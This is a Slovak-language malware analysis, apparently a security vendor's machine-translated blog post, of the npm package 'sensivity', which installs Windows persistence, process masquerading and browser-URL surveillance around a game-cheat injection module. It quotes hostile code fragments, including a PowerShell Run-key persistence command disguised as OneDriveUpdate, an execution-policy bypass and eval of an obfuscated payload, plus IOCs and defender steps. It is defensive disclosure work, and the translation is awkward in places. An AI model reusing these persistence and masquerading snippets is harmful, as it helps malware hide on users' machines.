PairLoop: Skrytý panel diaľkového ovládania v balíku npm

PairLoop: Jeden npm balík, sedemdesiat verzií a skrytý panel vzdialeného ovládania systému Windows

TL; DR

Balík npm citlivosť opisuje sa ako „Ovládací panel citlivosti“. V systéme Windows sa správa ako nástroj na diaľkové ovládanie a sledovanie.

Jeho vstupný bod, launcher.js, premenuje svoj vlastný proces na Runtime Broker, zapíše hodnotu automaticky spúšťaného kľúča Run s názvom OneDriveUpdate ktorý reštartuje balík cez skrytý VBScript, spustí PowerShell s -ExecutionPolicy Bypassa potom vyhodnotí 171 KB obfuskovaný serverový dátový balík spolu s 6.87 MB natívnym modulom, sens.node.

Slúži ovládaciemu panelu párovania telefónov na TCP porte 3000 a číta URL adresu aktívneho prehliadača z adresného riadka prostredníctvom Windows UIAutomation, pričom hľadá jedno pevne naprogramované video z YouTube.

Dve časti, ktoré predtým vyzerali ako čierne skrinky, sú teraz vyriešené. Zahmlený server, server.obf.js, používa schému reťazcov a poľa obfuscator.io RC4; reimplementácia jeho dekodéra offline (bez spustenia JavaScriptu) obnoví jeden externý koncový bod — https://izopi.com/check.php — spolu s vloženým verejným kľúčom RSA používaným na overenie podpísaných licenčných odpovedí.

Natívny modul, sens.node, nie je zabalený: jeho tabuľka importu a vložené reťazce ho identifikujú ako hernú verziu DirectX 11 / Dear ImGui poskytujúcu funkcie aimbot, ESP (wall-hack) a triggerbot, riadené vzdialeným vstrekovaním procesov a čítaním/zápisom z pamäte.

Reťazce v ňom odkazujú na entity vozidiel a umiestnenia na mape v súlade s GTA V / FiveM. Balík npm je obal pre doručovanie a perzistenciu okolo tohto natívneho modulu.

Rozhodujúci signál je prevádzkový, nie technický: jeden anonymný vydavateľ vydal zhruba sedemdesiat verzií jedného balíka – 2.5.0 cez 2.5.69 – počas niekoľkých dní, pričom každý niesol rovnaký nosný raketomet.

Nie sú k dispozícii žiadne inštalácie hooksUžitočné zaťaženie sa spustí iba vtedy, keď je balík spustený.

Útok: Ako to funguje

sensivity dodáva desať súborov. Súbor package.json je riedky: žiadne pole repository, žiadna licencia, hlavný alias a dva aliasy bin (sensitivity, sens), ktoré všetky smerujú na launcher.js, a štartovací skript uzla launcher.js. Neexistuje žiadna poinštalácia ani predinštalácia. Pri npm install sa nič nespustí. Správanie opísané nižšie sa spustí, keď používateľ spustí balík – prostredníctvom bin shim, štartovacieho skriptu alebo require.

Tarball obsahuje spúšťač, obfuskovaný server, natívny modul, skript Visual Basic a adresár public/web pre ovládací panel. launcher.js je čitateľný orchestrátor; logika, ktorá je dôležitá za behu, sa nachádza v dvoch bloboch, ktoré načíta – obfuskovaný server a skompilovaný natívny modul, oba sú vyriešené nižšie.

 Maškaráda procesov a falošný aktualizátor OneDrive

Na začiatku vykonávania launcher.js dvakrát nastaví svoj vlastný názov procesu:

   javascript process.title = 'Runtime Broker'; 

Runtime Broker je legitímny proces systému Windows (RuntimeBroker.exe), ktorý sprostredkúva povolenia aplikácií. Premenovanie procesu uzla tak, aby sa zhodoval s jeho povoleniami, znamená, že rýchly pohľad do Správcu úloh neukazuje nič nezvyčajné.

Perzistencia je napísaná prostredníctvom PowerShellu, a nie priamo cez API registra:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

Hodnota automatického spustenia sa volá OneDriveUpdate a neodkazuje priamo na balík. Odkazuje na súbor wscript.exe, ktorý spúšťa pribalený súbor OneDrive.Standalone.Updater.vbs. Tento skript znovu spustí súbor node launcher.js v skrytom okne. Názov kľúča Run aj názov súboru VBScript si požičiavajú značku od spoločnosti Microsoft, takže položka automatického spustenia sa číta ako rutinná úloha OneDrive.

PowerShell s obídením politík vykonávania

Spúšťač sa opakovane obracia na PowerShell. Skenery označia ako kritické spustenie vygenerovaného súboru .ps1 so zakázanou politikou vykonávania:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

Obídenie ExecutionPolicy odstraňuje kontrolu lokálneho podpisovania skriptov pre dané volanie. Vygenerované skripty spracovávajú prácu dohľadu prehliadača a detekcie okien opísanú v nasledujúcej časti.

Zahalený server a natívny modul

Po nastavení launcher.js načíta a vykoná svoj skutočný obsah:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

Súbor server.obf.js má veľkosť 171 KB a je určený pre obfuscation _0x-array – JavaScriptový vzor, ​​kde je každý reťazec a identifikátor nahradený indexom v premiešanom poli a potom je za behu dereferencovaný. Schéma je variantom RC4, ktorý vytvára obfuscator.io: jedna dekódovacia funkcia dekóduje položku poľa pomocou base64 a potom ju dešifruje pomocou RC4 pomocou kľúča na volanie. Reimplementácia tohto dekodéra v samostatnom skripte – spustenie iba reimplementácie nad extrahovaným poľom reťazcov s 821 položkami, nikdy nie vlastného JavaScriptu balíka – ho čisto rozvinie. Čo sa na prvý pohľad zdá byť skromné, ale decisive: jedna externá URL adresa, https://izopi.com/check.php`, priradená konštante LICENSE_URL; vložený RSA PUBLIC_KEY_PEM`; lokálny panel smeruje /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off a /trigger/status; a reťazce child_process, crypto a [Sensivity] sens.node loaded – posledný je presný riadok protokolu, ktorý spúšťač prepíše na programový modul loaded. Koncový bod je kontrola licencie: klient odošle identifikátor (obfuskovaný server formátuje reťazec Discord ID: %s) a kľúč RSA overí podpísanú odpoveď servera.

sens.node je 6.87 MB skompilovaný natívny doplnok a nie je zabalený – entropia sekcií je na úrovni 5.6–6.6 a tabuľky importu a exportu PE sú neporušené, takže jeho funkcie sú čitateľné priamo. Exportuje napi_register_module_v1, standard Vstupný bod N-API uzla, takže vyhodnotený server ho načíta s jednoduchým požiadavkom. Jeho importná tabuľka je tell. Z KERNEL32 stiahne OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules a Process32First/NextW – kanonickú sadu na vyhľadanie iného procesu, alokáciu pamäte v ňom a čítanie alebo zápis tejto pamäte. Z USER32 stiahne GetAsyncKeyState, GetKeyState, mouse_event a SetCursorPos; prepojí d3d11.dll, D3DCOMPILER_43 a dwmapi pre prekrytie na obrazovke a kompletnú sadu WINHTTP pre sieťové volania. Jeho vložené reťazce pomenúvajú sadu funkcií bez dvojznačnosti: Povoliť Aimbota, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Zistený Electron Anticheat a banner Dear ImGui Dear ImGui 1.91.3 WIP. Reťazce umiestnenia a entít, ako napríklad Grapeseed Medical Clinic a slovník vehicle-ESP, sú konzistentné s GTA V / FiveM.

Toto rozdelenie je zámerné: čitateľný súbor launcher.js obsahuje iba tie časti, ktoré skener ľahko prečíta – perzistenciu, maskovanie, samotné volanie eval – zatiaľ čo obfuskácia skrýva jedného externého hostiteľa, s ktorým sa runtime spája, a binárny súbor obsahuje logiku prekrytia hry a vstrekovania procesov. Launcher je tenký, auditovateľný shell; obfuskovaný server skrýva sieťovú identitu; natívny modul je užitočné zaťaženie. Importy a reťazce binárneho súboru označujeme ako prečítané; neodvodzujeme z nich účel operátora.

 Ovládací panel párovania telefónov na porte 3000

Spúšťač spravuje lokálny webový server na TCP porte 3000 a považuje ho za singleton. Pred naviazaním sa dopytuje na existujúci listener a vymaže ho:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

Panel je dostupný na adrese http://localhost:3000 s pevne zakódovanou záložnou URL adresou siete LAN http://192.168.1.16:3000. Adresár public/ a správanie panela sú v súlade s postupom párovania QR kódov: telefón naskenuje kód a pripojí sa k hostiteľovi ako vzdialený ovládač. V spúšťači sa v otvorenom texte nezobrazuje žiadna externá doména príkazov a ovládania – ale ako ukazuje vyššie uvedená deobfuskácia, jedna je prítomná na obfuskovanom serveri: koncový bod licencie izopi.com. Samotný panel je lokálny a má rozsah siete LAN; jediným odchádzajúcim hostiteľom je táto kontrola licencie.

Oddelený model supervízora/pracovníka udržiava proces pri živote. Spúšťač sa znova spustí s príznakmi prostredia SENSIVITY_SUPERVISOR a SENSIVITY_WORKER, pričom každý podradený proces beží skrytý, takže po ukončení jedného procesu ho reštartuje watchdog.

Dohľad nad prehliadačom a signál YouTube

Najšpecifickejším správaním je monitorovanie prehliadača. launcher.js zostavuje PowerShell, ktorý riadi Windows UIAutomation na čítanie adresného riadku spusteného prehliadača:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

Funkcia ValuePattern vracia textový obsah prvku používateľského rozhrania. Po aplikácii na ovládací prvok úprav v adresnom riadku prehliadača vráti URL adresu, ktorú si obeť aktuálne prezerá – bez rozšírenia prehliadača, bez dotyku profilu na disku a bez hooku API. Vygenerovaný skript iteruje zoznam $browserNames a extrahuje URL adresu alebo názov okna prehliadača, ktorý je v popredí.

Táto URL adresa sa testuje oproti jednému pevne zakódovanému cieľu:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

Spúšťač v trojsekundovej slučke vyhľadáva okno prehliadača zobrazujúce YouTube a vygenerovaný PowerShell obsahuje pár Get-YouTubeBrowser / Test-TargetYouTubeUrl, ktorý sa zhoduje s daným ID videa. Pozorovateľný efekt je dvojaký: z obrazovky obete sa načíta aktívna URL adresa prehliadania a zistí sa interakcia hostiteľa s jedným konkrétnym videom YouTube. Opisujeme mechanizmus a cieľ; nevyvodzujeme z nich motív.

Čítanie z adresného riadka je to, čo skener označuje ako sensitive_data_enumeration – zdroj Process::env a UIAutomation, ktorý napája sieťové runtime. Samostatne vyzerá neškodne a na surveillance sa použije až po sledovaní životného cyklu údajov od zdroja UIAutomation až po obfuskovaný server.

Časová os a vývoj verzií

Sensitivity nie je jednorazové nahranie. Účet vydavateľa má približne sedemdesiat publikovaných verzií tohto jediného balíka a počas obdobia kontroly pribúdali nové. Spúšťač sa v rámci verzie 2.5.x rozrastá o funkciu po funkcii, zatiaľ čo jeho perzistencia a načítanie užitočného zaťaženia zostávajú fixné.

Dátum (UTC) Pozorované verzie Stav spúšťača
2026-06-02 2.5.8 - 2.5.46 (25) Základný spúšťač QR panela; Perzistencia spúšťacích klávesov; vyhodnotenie zahaleného servera.
2026-06-03 2.5.53 - 2.5.61 (6) Rovnaký odtlačok prsta; potlačenie stopy konzoly.
2026-06-04 2.5.67, 2.5.68 (2) Pridá pripnutý cieľ interakcie na YouTube wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) Doplnenie medzier v rámci rozsahu; dozorca/strážca pracovníkov.

Porovnanie spúšťača stiahnutých zástupcov – 2.5.0, 2.5.36 a 2.5.69 – ukazuje štyri úrovne. Najstaršie zostavy obsahujú základný spúšťač na párovanie QR kódov. Od verzie 2.5.33 sa objavuje zberač adresného riadka UIAutomation. Od verzie 2.5.58 sa pridáva vrstva správy supervízora. Od verzie 2.5.64 sadu dopĺňa samostatný watchdog supervízora/pracovníka. Počas celého procesu sa štyri veci nemenia: kľúč OneDriveUpdate Run, umiestňovač OneDrive.Standalone.Updater.vbs, vyhodnotený súbor server.obf.js a natívny modul sens.node.

Vlna z 5. júna 2026 je pozoruhodná, pretože znovu zverejnila nízke čísla verzií – 2.5.0 až 2.5.15 – ktoré sa nachádzajú pod verziami potvrdenými o niekoľko dní skôr. Výsledkom je súvislý riadok 2.5.x v registri, pričom každá verzia má rovnaký spúšťač.

Indikátory kompromisu

Všetky nižšie uvedené indikátory boli načítané priamo z tarballu balíka. Čitateľný spúšťač obsahuje iba spätnú slučku a jednu súkromnú LAN adresu; jeden externý názov hostiteľa, izopi.com, bol obnovený deobfuskaciou server.obf.js offline.

Typ Indikátor Poznámky
Balíček npm:sensivity (≈70 verzií, 2.5.0-2.5.69) Vydavateľ jedného balíka; bez repozitára; bez licencie.
rezeň launcher.js Čitateľný orchestrátor; hlavný a priečinkový cieľ.
rezeň server.obf.js (≈171 KB) užitočné zaťaženie reťazcového poľa RC4 v nástroji obfuscator.io, načítané cez eval(fs.readFileSync(...)).
rezeň sens.node (≈6.87 MB) Doplnok PE32+ x86-64 Node N-API; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
rezeň OneDrive.Standalone.Updater.vbs Skrytý reštartér (node launcher.js).
sieť https://izopi.com/check.php Koncový bod licencie/autorizácie získaný zo zahaleného servera; vložený verejný kľúč RSA overuje odpovede.
Schopnosť OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread Vkladanie dát do vzdialených procesov a schopnosť čítania/zápisu do pamäte.
Schopnosť Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP Herné prekrytie DirectX 11 / ImGui implementujúce funkcie aimbot, ESP a triggerbot.
register HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate Hodnota automatického spustenia smerujúca na wscript.exe a spúšťač VBScript.
Proces process.title = 'Runtime Broker' Maskuje sa ako legitímny proces Windows Runtime Broker.
behaviorálna powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 Obídenie politiky vykonávania používané pre generované skripty PowerShellu.
behaviorálna UIAutomation ValuePattern čítanie adresného riadka prehliadača Prečíta URL adresu okna prehliadača v popredí.
behaviorálna ID cieľového videa wJWta2lO0Lw; 3-sekundová anketa na YouTube Signál monitorovania zapojenia pripnutý.
sieť http://localhost:3000, záložný http://192.168.1.16:3000 Ovládací panel párovania QR kódov je dostupný lokálne aj v sieti LAN.
prostredie SENSIVITY_SUPERVISOR, SENSIVITY_WORKER Oddelené príznaky koordinácie procesov watchdog.

Pripisovanie, vplyv a obhajcovia

Balík je publikovaný jedným npm účtom, ktorého uvedená e-mailová adresa je neoverená adresa Gmail. Účet má výrazne negatívne skóre reputácie v registri, spravuje a publikuje iba tento jeden balík a nemá prepojený zdrojový repozitár. Neoverili sme vlastníctvo e-mailu a kampaň pripisujeme účtu vydavateľa, nie žiadnej menovanej osobe. Spúšťač nemá žiadnu infraštruktúru otvoreného textu, ale jeden externý hostiteľ je teraz známy: obfuskovaný server kontaktuje izopi.com kvôli kontrole licencie a natívny modul – čítaný z jeho importnej tabuľky a reťazcov, a nie obrátený inštrukcia po inštrukcii – je herná vrstva, ktorá vkladá kód do pamäte iného procesu a číta ho.

Pozorovateľný dopad sa prejavuje u používateľov systému Windows, ktorí si nainštalujú a spustia systém Sensitivity s očakávaním utility ovládacieho panela. Na týchto hostiteľoch balík nastaví perzistenciu automatického spustenia maskovanú ako úloha OneDrive, premenuje sa tak, aby napodobňovala systémový proces, prečíta URL adresu všetkého, čo používateľ prehliada, a vytvorí párovací panel, ktorý prepojí počítač so vzdialeným zariadením cez lokálnu sieť. Strážny pes supervízora/pracovníka znamená, že jedno ukončenie procesu ho neodstráni; položka s klávesom Run prežije reštartovanie. Spúšťač nie je zameraný na macOS a Linux – cesty persistence, PowerShell a UIAutomation sú dostupné iba pre Windows.

Trend, ktorý stojí za to naznačiť, je fluktuácia sedemdesiatich verzií. Opätovné publikovanie jedného balíka desiatky krát za pár dní, vrátane dopĺňania čísel verzií pod tie, ktoré už boli odstránené, udržiava živú kópiu v registri medzi odstráneniami a frustruje blokované zoznamy s pripnutými verziami. Záznam v blokovacom zozname pre sensivity@2.5.61 nerobí nič proti sensivity@2.5.3, ktorá bola opätovne publikovaná nasledujúci deň.

Obhajcovia môžu konať na základe nasledujúcich opatrení:

  • Úplne zablokujte citlivosť názvu balíka v zoznamoch povolených v registry-proxy a CI. Pripnutie jednotlivých verzií stráca na frekvencii opätovného publikovania; názov je trvalým indikátorom.
  • Vyhľadajte hodnotu spúšťania s názvom OneDriveUpdate, ktorej údaje vyvolajú wscript.exe pre súbor .vbs v ceste pre jednotlivých používateľov. Skutočný aktualizátor OneDrive nie je takto registrovaný.
  • Upozornenie na proces Node.js, ktorého process.title je Runtime Broker. Skutočným brokerom je RuntimeBroker.exe, nie behové prostredie Node.
  • Označuje načítania balíkov počas inštalácie pomocou npm, ktoré obsahujú skompilovaný doplnok .node a funkciu eval(fs.readFileSync(…)) súrodeneckého súboru .obf.js. Toto párovanie – nepriehľadný natívny binárny súbor načítaný vedľa obfuskovaného textového obsahu – je tu štrukturálnym ukazovateľom, nezávislým od akéhokoľvek IOC reťazca.
  • Považovať akýkoľvek lokálne viazaný poslucháč na porte 3000 vytvorený neočakávaným procesom uzla na spravovaných koncových bodoch systému Windows za podozrivý.
  • Blokovať alebo upozorňovať na odchádzajúce požiadavky na izopi.com od vývojárov alebo koncových používateľov; je to jediný externý koncový bod balíka, dosiahnuteľný na /check.php zo zahaleného servera.
  • V prípade akéhokoľvek pribaleného doplnku .node si pred dôverovaním skontrolujte jeho tabuľku importu. Kombinácia OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread je vzdialená injekcia procesov bez ohľadu na to, čo balík tvrdí, že robí; tu sa nachádza vedľa prekrytia Direct3D a reťazcov aimbot/ESP/triggerbot.

Pre statickú analýzu pipelineTvar presvedčenia je trvalý v priebehu celého procesu zmeny verzie: profil inštalácie mimo siete, priradenie názvu procesu k známemu názvu systémového procesu, zápis s kľúčom Run cez PowerShell a vyhodnotenie súboru načítaného z disku. Nič z toho nezávisí od domény, IP adresy alebo čísla verzie, ktoré môže ďalšia opätovná publikácia zmeniť.

 Referencie

[npm: citlivosť] – stránka registra pre riadok verzie balíka, o ktorom sa tu hovorí; podlieha odstráneniu.

nástroje na analýzu zloženia softvéru SCA
Stanovte si priority, odstraňujte a zabezpečte svoje softvérové ​​riziká
Získajte svoj bezplatný účet.
Nie je potrebná kreditná karta.

Zabezpečte si vývoj a dodávku softvéru

s produktovým balíkom Xygeni